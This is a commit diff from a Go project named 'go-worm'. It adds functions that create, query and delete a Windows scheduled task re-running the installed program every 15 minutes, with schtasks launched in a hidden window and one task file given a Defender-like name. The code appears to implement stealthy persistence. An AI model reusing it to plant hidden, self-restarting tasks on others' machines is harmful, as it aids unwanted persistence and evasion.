feat(watchdog): separate watchdog from startup

- Add /api/v1/watchdog to enable/disable
- Scheduled task now runs every 15 minutes
- Use schtasks command line instead of XML
- Dashboard shows watchdog enabled state
- Preserve watchdog state during install
This commit is contained in:
2026-09-02 00:15:37 +03:00
parent 536ea9a53e
commit 977da8b109
16 changed files with 247 additions and 193 deletions
+41 -27
View File
@@ -4,41 +4,61 @@ package startup
import (
"fmt"
"os"
"os/exec"
"strings"
"unicode/utf16"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
func enableWatchdog() error {
func WatchdogEnabled() bool {
return taskExists(config.WatchdogTaskName) || taskExists(config.WatchdogTaskNameLegacy)
}
func EnableWatchdog() error {
exe, err := config.InstalledExe()
if err != nil {
return err
}
tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
if err != nil {
if err := runSchtasksCmdLine(schtasksCreateCmdLine(config.WatchdogTaskName, ensureTaskTR(exe))); err != nil {
return err
}
path := tmp.Name()
defer os.Remove(path)
if err := tmp.Close(); err != nil {
return err
}
if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
return err
}
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
_ = runSchtasks("/Delete", "/TN", config.WatchdogTaskNameLegacy, "/F")
return nil
}
func disableWatchdog() error {
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
return nil
func DisableWatchdog() error {
var first error
for _, name := range []string{config.WatchdogTaskName, config.WatchdogTaskNameLegacy} {
err := runSchtasks("/Delete", "/TN", name, "/F")
if err == nil || taskNotFound(err) {
continue
}
if first == nil {
first = err
}
}
return err
return first
}
func taskExists(name string) bool {
return runSchtasks("/Query", "/TN", name) == nil
}
func runSchtasksCmdLine(cmdLine string) error {
cmd := exec.Command("schtasks")
attr := helpers.HiddenSysProcAttr()
attr.CmdLine = cmdLine
cmd.SysProcAttr = attr
out, err := cmd.CombinedOutput()
if err != nil {
msg := strings.TrimSpace(string(out))
if msg == "" {
msg = err.Error()
}
return fmt.Errorf("schtasks: %s", msg)
}
return nil
}
func runSchtasks(args ...string) error {
@@ -55,12 +75,6 @@ func runSchtasks(args ...string) error {
return nil
}
func utf16LE(s string) []byte {
u := utf16.Encode([]rune(s))
out := make([]byte, 0, 2+len(u)*2)
out = append(out, 0xFF, 0xFE)
for _, r := range u {
out = append(out, byte(r), byte(r>>8))
}
return out
func taskNotFound(err error) bool {
return strings.Contains(strings.ToLower(err.Error()), "cannot find")
}